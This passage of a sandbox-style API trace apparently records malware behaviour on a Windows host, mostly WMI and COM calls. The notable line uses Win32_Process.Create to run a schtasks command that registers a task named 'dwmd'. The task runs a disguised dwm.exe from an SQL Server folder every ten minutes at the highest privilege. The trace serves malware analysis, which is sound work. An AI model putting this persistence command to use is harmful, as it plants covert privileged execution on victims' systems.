pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="CIMV2") returned 0x0 [0107.014] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x655af0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0107.014] WbemDefPath:IWbemPath:GetClassName (in: This=0x655af0, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0107.014] WbemDefPath:IWbemPath:SetClassName (This=0x655af0, Name="Win32_Process") returned 0x0 [0107.014] WbemDefPath:IWbemPath:GetInfo (in: This=0x655af0, uRequestedInfo=0x0, puResponse=0x1b30d640 | out: puResponse=0x1b30d640*=0x20c16) returned 0x0 [0107.014] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655af0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0107.014] WbemDefPath:IWbemPath:GetText (in: This=0x655af0, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x22, pszText=0x0) returned 0x0 [0107.014] WbemDefPath:IWbemPath:GetText (in: This=0x655af0, lFlags=4, puBuffLength=0x1b30d590*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0107.014] WbemDefPath:IWbemPath:GetInfo (in: This=0x655af0, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0x20c16) returned 0x0 [0107.014] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655af0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0107.014] WbemDefPath:IWbemPath:GetText (in: This=0x655af0, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x14, pszText=0x0) returned 0x0 [0107.014] WbemDefPath:IWbemPath:GetText (in: This=0x655af0, lFlags=8, puBuffLength=0x1b30d590*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b30d590*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0107.014] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x657170, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0107.014] WbemDefPath:IWbemPath:GetText (in: This=0x657170, lFlags=16, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xb, pszText=0x0) returned 0x0 [0107.014] WbemDefPath:IWbemPath:GetText (in: This=0x657170, lFlags=16, puBuffLength=0x1b30d590*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d590*=0xb, pszText="root\\cimv2") returned 0x0 [0107.014] WbemDefPath:IWbemPath:GetText (in: This=0x655af0, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0107.014] WbemDefPath:IWbemPath:GetText (in: This=0x655af0, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0107.014] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d4e8 | out: ppv=0x1b30d4e8*=0x6124e8) returned 0x0 [0107.014] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4d8 | out: pAptType=0x1b30d4d8*=1) returned 0x0 [0107.014] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d4e0 | out: ppvObject=0x1b30d4e0*=0x0) returned 0x80004002 [0107.014] IUnknown:Release (This=0x6124e8) returned 0x1 [0107.015] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8d8 | out: ppv=0x1b30c8d8*=0x1b48b170) returned 0x0 [0107.016] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48b170, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9c0 | out: ppvObject=0x1b30c9c0*=0x0) returned 0x80004002 [0107.016] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48b170, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c998 | out: ppvObject=0x1b30c998*=0x656630) returned 0x0 [0107.016] WbemDefPath:IUnknown:Release (This=0x1b48b170) returned 0x0 [0107.016] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c740 | out: ppvObject=0x1b30c740*=0x656630) returned 0x0 [0107.016] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7d0 | out: ppvObject=0x1b30c7d0*=0x0) returned 0x80004002 [0107.016] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfc8 | out: ppvObject=0x1b30bfc8*=0x0) returned 0x80004002 [0107.016] WbemDefPath:IUnknown:AddRef (This=0x656630) returned 0x3 [0107.016] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be88 | out: ppvObject=0x1b30be88*=0x0) returned 0x80004002 [0107.016] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be10 | out: ppvObject=0x1b30be10*=0x0) returned 0x80004002 [0107.016] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be00 | out: ppvObject=0x1b30be00*=0x1b48b250) returned 0x0 [0107.016] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48b250, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be28 | out: pCid=0x1b30be28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0107.016] WbemDefPath:IUnknown:Release (This=0x1b48b250) returned 0x3 [0107.016] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0107.016] CoGetContextToken (in: pToken=0x1b30c330 | out: pToken=0x1b30c330) returned 0x0 [0107.016] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c3f0 | out: ppvObject=0x1b30c3f0*=0x0) returned 0x80004002 [0107.016] WbemDefPath:IUnknown:Release (This=0x656630) returned 0x2 [0107.016] WbemDefPath:IUnknown:Release (This=0x656630) returned 0x1 [0107.017] CoGetContextToken (in: pToken=0x1b30d120 | out: pToken=0x1b30d120) returned 0x0 [0107.017] CoGetContextToken (in: pToken=0x1b30d020 | out: pToken=0x1b30d020) returned 0x0 [0107.017] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x1b30d180*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d150 | out: ppvObject=0x1b30d150*=0x656630) returned 0x0 [0107.017] WbemDefPath:IUnknown:AddRef (This=0x656630) returned 0x3 [0107.017] WbemDefPath:IUnknown:Release (This=0x656630) returned 0x2 [0107.017] WbemDefPath:IWbemPath:SetText (This=0x656630, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0107.017] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x657170, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0107.017] WbemDefPath:IWbemPath:GetText (in: This=0x657170, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xf, pszText=0x0) returned 0x0 [0107.017] WbemDefPath:IWbemPath:GetText (in: This=0x657170, lFlags=8, puBuffLength=0x1b30d590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0107.017] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0107.017] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0107.017] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0107.017] IUnknown:Release (This=0x6124e8) returned 0x1 [0107.018] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b48b290) returned 0x0 [0107.018] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48b290, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0107.018] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48b290, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x656b70) returned 0x0 [0107.018] WbemDefPath:IUnknown:Release (This=0x1b48b290) returned 0x0 [0107.018] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x656b70) returned 0x0 [0107.018] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0107.018] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0107.018] WbemDefPath:IUnknown:AddRef (This=0x656b70) returned 0x3 [0107.018] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0107.018] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0107.018] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b48a8d0) returned 0x0 [0107.018] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48a8d0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0107.018] WbemDefPath:IUnknown:Release (This=0x1b48a8d0) returned 0x3 [0107.018] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0107.019] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0107.019] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0107.019] WbemDefPath:IUnknown:Release (This=0x656b70) returned 0x2 [0107.019] WbemDefPath:IUnknown:Release (This=0x656b70) returned 0x1 [0107.019] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0107.019] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0107.019] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x656b70) returned 0x0 [0107.019] WbemDefPath:IUnknown:AddRef (This=0x656b70) returned 0x3 [0107.019] WbemDefPath:IUnknown:Release (This=0x656b70) returned 0x2 [0107.019] WbemDefPath:IWbemPath:SetText (This=0x656b70, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0107.019] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656630, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0107.019] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656b70, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0107.019] WbemDefPath:IWbemPath:GetText (in: This=0x656b70, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0107.019] WbemDefPath:IWbemPath:GetText (in: This=0x656b70, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="root\\cimv2") returned 0x0 [0107.019] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x656630) returned 0x0 [0107.019] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656b70, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0107.019] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656b70, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0107.019] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656b70, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="root") returned 0x0 [0107.019] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x656630, uIndex=0x0, pszName="root") returned 0x0 [0107.019] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656b70, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0107.019] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656b70, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="cimv2") returned 0x0 [0107.019] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x656630, uIndex=0x1, pszName="cimv2") returned 0x0 [0107.019] WbemDefPath:IWbemPath:GetServer (in: This=0x656b70, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0107.019] WbemDefPath:IWbemPath:GetServer (in: This=0x656b70, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0107.020] WbemDefPath:IWbemPath:GetServer (in: This=0x656630, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0107.020] WbemDefPath:IWbemPath:GetServer (in: This=0x656630, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0107.020] WbemDefPath:IWbemPath:GetInfo (in: This=0x656630, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0xc15) returned 0x0 [0107.020] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x657170, puCount=0x1b30d508 | out: puCount=0x1b30d508*=0x2) returned 0x0 [0107.020] WbemDefPath:IWbemPath:GetText (in: This=0x657170, lFlags=4, puBuffLength=0x1b30d500*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d500*=0xf, pszText=0x0) returned 0x0 [0107.020] WbemDefPath:IWbemPath:GetText (in: This=0x657170, lFlags=4, puBuffLength=0x1b30d500*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d500*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0107.020] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x657170, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0107.020] WbemDefPath:IWbemPath:GetText (in: This=0x657170, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0107.020] WbemDefPath:IWbemPath:GetText (in: This=0x657170, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0107.020] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656630, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0107.020] WbemDefPath:IWbemPath:GetText (in: This=0x656630, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x1d, pszText=0x0) returned 0x0 [0107.020] WbemDefPath:IWbemPath:GetText (in: This=0x656630, lFlags=4, puBuffLength=0x1b30d590*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0107.020] CoGetContextToken (in: pToken=0x1b30cea0 | out: pToken=0x1b30cea0) returned 0x0 [0107.020] WbemLocator:IUnknown:AddRef (This=0x1b483e68) returned 0x3 [0107.020] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483e68, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cea0 | out: ppvObject=0x1b30cea0*=0x1b483e68) returned 0x0 [0107.020] WbemLocator:IUnknown:Release (This=0x1b483e68) returned 0x3 [0107.020] WbemLocator:IUnknown:Release (This=0x1b483e68) returned 0x2 [0107.020] WbemDefPath:IWbemPath:GetText (in: This=0x656630, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0107.020] WbemDefPath:IWbemPath:GetText (in: This=0x656630, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0107.020] IWbemServices:GetObject (in: This=0x1b4b3ce0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d520*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d520*=0x1b469f40, ppCallResult=0x0) returned 0x0 [0107.024] IWbemClassObject:GetMethod (in: This=0x1b469f40, wszName="Create", lFlags=0, ppInSignature=0x1b30d618, ppOutSignature=0x1b30d610 | out: ppInSignature=0x1b30d618*=0x1b425ad0, ppOutSignature=0x1b30d610*=0x1b4607c0) returned 0x0 [0107.024] IWbemClassObject:SpawnInstance (in: This=0x1b425ad0, lFlags=0, ppNewInstance=0x1b30d628 | out: ppNewInstance=0x1b30d628*=0x5f4590) returned 0x0 [0107.024] IWbemClassObject:Get (in: This=0x5f4590, wszName="CommandLine", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26570e8*=0, plFlavor=0x26570ec*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26570e8*=8, plFlavor=0x26570ec*=32) returned 0x0 [0107.025] IWbemClassObject:Get (in: This=0x5f4590, wszName="CommandLine", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26570e8*=8, plFlavor=0x26570ec*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26570e8*=8, plFlavor=0x26570ec*=32) returned 0x0 [0107.025] IWbemClassObject:Put (This=0x5f4590, wszName="CommandLine", lFlags=0, pVal=0x1b30d590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"dwmd\" /sc MINUTE /mo 10 /tr \"'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0107.025] IWbemClassObject:Get (in: This=0x5f4590, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2657178*=0, plFlavor=0x265717c*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2657178*=13, plFlavor=0x265717c*=32) returned 0x0 [0107.025] IWbemClassObject:Get (in: This=0x5f4590, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2657178*=13, plFlavor=0x265717c*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2657178*=13, plFlavor=0x265717c*=32) returned 0x0 [0107.025] IUnknown:QueryInterface (in: This=0x1b483790, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ce00 | out: ppvObject=0x1b30ce00*=0x1b483790) returned 0x0 [0107.025] IUnknown:QueryInterface (in: This=0x1b483790, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30ce90 | out: ppvObject=0x1b30ce90*=0x0) returned 0x80004002 [0107.025] IUnknown:QueryInterface (in: This=0x1b483790, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0107.025] IUnknown:QueryInterface (in: This=0x1b483790, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c688 | out: ppvObject=0x1b30c688*=0x0) returned 0x80004002 [0107.025] IUnknown:AddRef (This=0x1b483790) returned 0x3 [0107.026] IUnknown:QueryInterface (in: This=0x1b483790, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, 